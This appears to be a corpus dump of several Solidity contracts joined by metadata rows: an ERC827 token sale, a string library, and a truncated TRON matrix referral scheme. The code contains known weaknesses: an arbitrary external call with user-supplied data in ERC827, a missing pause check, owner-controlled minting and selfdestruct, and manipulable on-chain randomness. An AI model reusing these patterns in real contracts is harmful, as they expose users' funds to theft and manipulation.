function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC827 is ERC20 {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract PausableToken is ERC827Token, Pausable {
// ERC20
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
// ERC827
function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.transfer(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) {
return super.transferFrom(_from, _to, _value, _data);
}
function approve(address _spender, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
return super.approve(_spender, _value, _data);
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public whenNotPaused returns (bool) {
return super.increaseApproval(_spender, _addedValue, _data);
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public whenNotPaused returns (bool) {
return super.decreaseApproval(_spender, _subtractedValue, _data);
}
}
contract MintableToken is PausableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AirEX is MintableToken {
string public constant name = "AIRX";
string public constant symbol = "AIRX";
uint8 public constant decimals = 18;
uint256 public hardCap;
uint256 public softCap;
function AirEX(uint256 _cap) public {
require(_cap > 0);
hardCap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= hardCap);
return super.mint(_to, _amount);
}
function updateHardCap(uint256 _cap) onlyOwner public {
require(_cap > 0);
hardCap = _cap;
}
function updateSoftCap(uint256 _cap) onlyOwner public {
require(_cap > 0);
softCap = _cap;
}
}
contract SalesManagerUpgradable is Ownable {
using SafeMath for uint256;
address public ethOwner = 0xe8290a10565CB7aDeE9246661B34BB77CB6e4024;
uint public price1 = 100;
uint public price2 = 110;
uint public price3 = 125;
uint public lev1 = 2 ether;
uint public lev2 = 10 ether;
uint public ethFundRaised;
address public tokenAddress;
function SalesManagerUpgradable () public {
tokenAddress = new AirEX(5550000 ether);
}
function () payable public {
if(msg.value > 0) revert();
}
function buyTokens(address _investor) public payable returns (bool){
if (msg.value <= lev1) {
uint tokens = msg.value.mul(price1);
if (!sendTokens(tokens, msg.value, _investor)) revert();
return true;
} else if (msg.value > lev1 && msg.value <= lev2) {
tokens = msg.value.mul(price2);
if (!sendTokens(tokens, msg.value, _investor)) revert();
return true;
} else if (msg.value > lev2) {
tokens = msg.value.mul(price3);
if (!sendTokens(tokens, msg.value, _investor)) revert();
return true;
}
return false;
}
function sendTokens(uint _amount, uint _ethers, address _investor) private returns (bool) {
AirEX tokenHolder = AirEX(tokenAddress);
if (tokenHolder.mint(_investor, _amount)) {
ethFundRaised = ethFundRaised.add(_ethers);
ethOwner.transfer(_ethers);
return true;
}
return false;
}
function generateTokensManually(uint _amount, address _to) public onlyOwner {
AirEX tokenHolder = AirEX(tokenAddress);
tokenHolder.mint(_to, _amount);
}
function setColdAddress(address _newAddr) public onlyOwner {
ethOwner = _newAddr;
}
function setPrice1 (uint _price) public onlyOwner {
price1 = _price;
}
function setPrice2 (uint _price) public onlyOwner {
price2 = _price;
}
function setPrice3 (uint _price) public onlyOwner {
price3 = _price;
}
function setLev1 (uint _price) public onlyOwner {
lev1 = _price;
}
function setLev2 (uint _price) public onlyOwner {
lev2 = _price;
}
function transferOwnershipToken(address newTokenOwnerAddress) public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.transferOwnership(newTokenOwnerAddress);
}
function updateHardCap(uint256 _cap) public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.updateHardCap(_cap);
}
function updateSoftCap(uint256 _cap) public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.updateSoftCap(_cap);
}
function unPauseContract() public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.unpause();
}
function pauseContract() public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.pause();
}
function finishMinting() public onlyOwner {
AirEX tokenContract = AirEX(tokenAddress);
tokenContract.finishMinting();
}
function drop(address[] _destinations, uint256[] _amount) onlyOwner public
returns (uint) {
uint i = 0;
while (i < _destinations.length) {
AirEX(tokenAddress).mint(_destinations[i], _amount[i]);
i += 1;
}
return(i);
}
function withdraw(address _to) public onlyOwner {
_to.transfer(this.balance);
}
function destroySalesManager(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
}
contract DepositManager is Ownable {
address public actualSalesAddress;
function DepositManager (address _actualAddres) public {
actualSalesAddress = _actualAddres;
}
function () payable public {
SalesManagerUpgradable sm = SalesManagerUpgradable(actualSalesAddress);
if(!sm.buyTokens.value(msg.value)(msg.sender)) revert();
}
function setNewSalesManager (address _newAddr) public onlyOwner {
actualSalesAddress = _newAddr;
}
}
| 212,975 | 11,769 |
0f5eefe6273057df44c2c5fce8078b526de82384e8f16c417814b5e9e79d9b10
| 24,712 |
.sol
|
Solidity
| false |
444542262
|
exohood/token-launchpad
|
4b73c5beb1027f8d89c4e4fffa4739ec4c0866d8
|
Ethereum/lib/strings.sol
| 3,967 | 14,812 |
pragma solidity ^0.4.16;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice self) internal returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal returns (string) {
var ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice self) internal returns (uint) {
// Starting at ptr-31 means the LSB will be the byte we care about
var ptr = self._ptr - 31;
var end = ptr + self._len;
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
function empty(slice self) internal returns (bool) {
return self._len == 0;
}
function compare(slice self, slice other) internal returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
var selfptr = self._ptr;
var otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
var diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice self, slice other) internal returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice self, slice rune) internal returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint len;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
len = 1;
} else if(b < 0xE0) {
len = 2;
} else if(b < 0xF0) {
len = 3;
} else {
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += len;
self._len -= len;
rune._len = len;
return rune;
}
function nextRune(slice self) internal returns (slice ret) {
nextRune(self, ret);
}
function ord(slice self) internal returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint len;
uint div = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
var b = word / div;
if (b < 0x80) {
ret = b;
len = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
len = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
len = 3;
} else {
ret = b & 0x07;
len = 4;
}
// Check for truncated codepoints
if (len > self._len) {
return 0;
}
for (uint i = 1; i < len; i++) {
div = div / 256;
b = (word / div) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice self) internal returns (bytes32 ret) {
assembly {
ret := sha3(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
function beyond(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let len := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice self, slice needle) internal returns (bool) {
if (self._len < needle._len) {
return false;
}
var selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
return equal;
}
function until(slice self, slice needle) internal returns (slice) {
if (self._len < needle._len) {
return self;
}
var selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let len := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, len), sha3(needleptr, len))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 68 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
let end := add(selfptr, sub(selflen, needlelen))
ptr := selfptr
loop:
jumpi(exit, eq(and(mload(ptr), mask), needledata))
ptr := add(ptr, 1)
jumpi(loop, lt(sub(ptr, 1), end))
ptr := add(selfptr, selflen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
// Optimized assembly for 69 gas per byte on short strings
assembly {
let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1))
let needledata := and(mload(needleptr), mask)
ptr := add(selfptr, sub(selflen, needlelen))
loop:
jumpi(ret, eq(and(mload(ptr), mask), needledata))
ptr := sub(ptr, 1)
jumpi(loop, gt(add(ptr, 1), selfptr))
ptr := selfptr
jump(exit)
ret:
ptr := add(ptr, needlelen)
exit:
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice self, slice needle) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice self, slice needle) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal returns (slice token) {
split(self, needle, token);
}
function rsplit(slice self, slice needle, slice token) internal returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice self, slice needle) internal returns (slice token) {
rsplit(self, needle, token);
}
function count(slice self, slice needle) internal returns (uint count) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
count++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint len = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
len += parts[i]._len;
var ret = new string(len);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
| 236,443 | 11,770 |
9bd498e0ebe57d4edc04ebd59ac8dd739930277c947c66506388e938cd80f991
| 24,415 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYiXr387MBMwgBPDejBoS8Dr3cpsP7zV39_SmartMatrixTrxage.sol
| 6,021 | 24,049 |
//SourceUnit: SmartMatrixTrxage.sol
pragma solidity >=0.4.22 <0.6.0;
contract SmartMatrixTrxage{
struct User {
uint256 id;
address referrer;
uint256 partnersCount;
mapping(uint8 => bool) activeJumpLevels;
mapping(uint8 => bool) activeSlopLevels;
mapping(uint8 => Jump) jumpMatrix;
mapping(uint8 => Slop) slopMatrix;
}
struct Jump {
address currentReferrer;
address[] referrals;
uint8 blockMeter;
bool blocked;
uint256 reinvestCount;
}
struct Slop {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint256 reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 14;
mapping(address => User) public users;
mapping(uint256 => address) public idToAddress;
uint256 public lastUserId = 1;
address public owner;
address public deploy;
uint256 public contractDeployTime;
mapping(uint8 => uint256) public levelPrice;
mapping(uint8 => uint256) public levelPriceExt;
event Registration(address indexed user, address indexed referrer, uint256 indexed userId, uint256 referrerId, uint256 amount);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint256 amount);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedTrxReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraTrxDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
levelPrice[1] = 100 * 1e6;
levelPriceExt[1] = 100 * 1e6;
uint8 i;
for (i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i - 1] * 2;
levelPriceExt[i] = levelPrice[i - 1] * 2;
if (i >= 4) {
levelPriceExt[i] += uint256(levelPrice[i] / 100);
}
}
deploy = msg.sender;
owner = ownerAddress;
User memory user = User({id: 1, referrer: address(0), partnersCount: uint256(0)});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeJumpLevels[i] = true;
users[ownerAddress].activeSlopLevels[i] = true;
}
contractDeployTime = now;
emit Registration(ownerAddress, address(0), 1, 0, 0);
}
function() external payable {
if (msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable returns (string memory){
registration(msg.sender, referrerAddress);
return "registration successful";
}
function registrationCreator(address userAddress, address referrerAddress) external returns (string memory){
require(msg.sender == deploy, "Invalid Doer");
require(contractDeployTime + 86400 > now,
"This function is only available for first 24 hours");
registration(userAddress, referrerAddress);
return "registration successful";
}
function registration(address userAddress, address referrerAddress) private {
if (!(msg.sender == deploy))
require(msg.value == (levelPrice[1] * 4),
"Invalid registration amount");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {size := extcodesize(userAddress)}
require(size == 0, "cannot be a contract");
lastUserId++;
User memory user = User({id: lastUserId, referrer: referrerAddress, partnersCount: 0});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeJumpLevels[1] = true;
users[userAddress].activeSlopLevels[1] = true;
users[referrerAddress].partnersCount++;
address(uint160(owner)).transfer(levelPrice[1] * 2);
address freeJumpReferrer = findFreeJumpReferrer(userAddress, 1);
users[userAddress].jumpMatrix[1].currentReferrer = freeJumpReferrer;
updateJumpReferrer(userAddress, freeJumpReferrer, 1);
updateSlopReferrer(userAddress, findFreeSlopReferrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id, msg.value);
}
function buyLevelCreator(address userAddress, uint8 matrix, uint8 level) external returns (string memory) {
require(msg.sender == deploy, "Invalid Donor");
require(contractDeployTime + 86400 > now,
"This function is only available for first 24 hours");
buyNewLevelInternal(userAddress, matrix, level);
return "Level bought successfully";
}
function buyNewLevel(uint8 matrix, uint8 level) external payable returns (string memory){
buyNewLevelInternal(msg.sender, matrix, level);
return "Level bought successfully";
}
function buyNewLevelInternal(address user, uint8 matrix, uint8 level) private {
require(isUserExists(user), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if (!(msg.sender == deploy))
require(msg.value == levelPriceExt[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (level >= 4) {
address(uint160(owner)).transfer(levelPriceExt[level] - levelPrice[level]);
}
if (matrix == 1) {
require(!users[user].activeJumpLevels[level],
"level already activated");
if (users[user].jumpMatrix[level - 1].blocked) {
users[user].jumpMatrix[level - 1].blocked = false;
users[user].jumpMatrix[level - 1].blockMeter = 0;
}
address freeJumpReferrer = findFreeJumpReferrer(user, level);
users[user].jumpMatrix[level].currentReferrer = freeJumpReferrer;
users[user].activeJumpLevels[level] = true;
updateJumpReferrer(user, freeJumpReferrer, level);
emit Upgrade(user, freeJumpReferrer, 1, level, msg.value);
} else {
require(!users[user].activeSlopLevels[level],
"level already activated");
if (users[user].slopMatrix[level - 1].blocked) {
users[user].slopMatrix[level - 1].blocked = false;
}
address freeSlopReferrer = findFreeSlopReferrer(user, level);
users[user].activeSlopLevels[level] = true;
updateSlopReferrer(user, freeSlopReferrer, level);
emit Upgrade(user, freeSlopReferrer, 2, level, msg.value);
}
}
function updateJumpReferrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].jumpMatrix[level].referrals.push(userAddress);
if (users[referrerAddress].jumpMatrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].jumpMatrix[level].referrals.length));
return sendTRXDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].jumpMatrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeJumpLevels[level + 1] &&
level != LAST_LEVEL) {
users[referrerAddress].jumpMatrix[level].blockMeter++;
if (users[referrerAddress].jumpMatrix[level].blockMeter == 2) {
users[referrerAddress].jumpMatrix[level].blocked = true;
}
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findJumpReceiver(referrerAddress, level);
if (users[referrerAddress].jumpMatrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].jumpMatrix[level]
.currentReferrer = freeReferrerAddress;
}
users[referrerAddress].jumpMatrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateJumpReferrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTRXDividends(owner, userAddress, 1, level);
users[owner].jumpMatrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function findJumpReceiver(address referrerAddress, uint8 level) public view returns (address){
uint8 count = 0;
address[] memory candidates = new address[](10);
address receiver = users[referrerAddress].referrer;
if (receiver == owner) {
return receiver;
}
// Find candidates
while (count < 10 && receiver != address(0)) {
if (users[receiver].activeJumpLevels[level]) {
candidates[count] = receiver;
count++;
uint8 k = count;
while (k > 1) {
if (calcEffectivePartners(candidates[k - 1], level) <=
calcEffectivePartners(candidates[k - 2], level)) {
address tmpUserAddr = candidates[k - 2];
candidates[k - 2] = candidates[k - 1];
candidates[k - 1] = tmpUserAddr;
k--;
} else {
break;
}
}
}
receiver = users[receiver].referrer;
}
// Build threshold array
uint256[] memory thresholds = new uint256[](count);
thresholds[0] = calcEffectivePartners(candidates[0], level);
for (uint256 i = 1; i < count; i++) {
thresholds[i] = thresholds[i - 1] +
calcEffectivePartners(candidates[i], level);
}
uint256 rand = generateRandomNum(thresholds[count - 1]);
for (uint256 j = 0; j < count; j++) {
if (rand <= thresholds[j]) {
return candidates[j];
}
}
return owner;
}
function calcEffectivePartners(address userAddr, uint8 level) public view returns (uint256 partnersCount){
// return users[userAddr].partnersCount;
return users[userAddr].jumpMatrix[level].reinvestCount * 3 + users[userAddr].jumpMatrix[level].referrals.length;
}
function generateRandomNum(uint256 upperLimit) public view returns (uint256 rand){
bytes32 randHash = keccak256(abi.encodePacked(block.coinbase, now));
return uint256(randHash) % upperLimit;
}
function updateSlopReferrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeSlopLevels[level], "500. Referrer level is inactive");
if (users[referrerAddress].slopMatrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].slopMatrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].slopMatrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].slopMatrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].slopMatrix[level].currentReferrer;
users[ref].slopMatrix[level].secondLevelReferrals.push(userAddress);
uint256 len = users[ref].slopMatrix[level].firstLevelReferrals.length;
if ((len == 2) && (users[ref].slopMatrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].slopMatrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].slopMatrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) && users[ref].slopMatrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].slopMatrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].slopMatrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].slopMatrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateSlopReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].slopMatrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].slopMatrix[level].closedPart != address(0)) {
if ((users[referrerAddress].slopMatrix[level].firstLevelReferrals[0] == users[referrerAddress].slopMatrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].slopMatrix[level].firstLevelReferrals[0] == users[referrerAddress].slopMatrix[level].closedPart)) {
updateSlop(userAddress, referrerAddress, level, true);
return
updateSlopReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].slopMatrix[level].firstLevelReferrals[0] ==
users[referrerAddress].slopMatrix[level].closedPart) {
updateSlop(userAddress, referrerAddress, level, true);
return
updateSlopReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateSlop(userAddress, referrerAddress, level, false);
return
updateSlopReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].slopMatrix[level].firstLevelReferrals[1] == userAddress) {
updateSlop(userAddress, referrerAddress, level, false);
return
updateSlopReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].slopMatrix[level].firstLevelReferrals[0] == userAddress) {
updateSlop(userAddress, referrerAddress, level, true);
return updateSlopReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[0]].slopMatrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[1]].slopMatrix[level].firstLevelReferrals.length) {
updateSlop(userAddress, referrerAddress, level, false);
} else {
updateSlop(userAddress, referrerAddress, level, true);
}
updateSlopReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateSlop(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[0]].slopMatrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].slopMatrix[level].firstLevelReferrals[0], 2,
level, uint8(users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[0]].slopMatrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level,
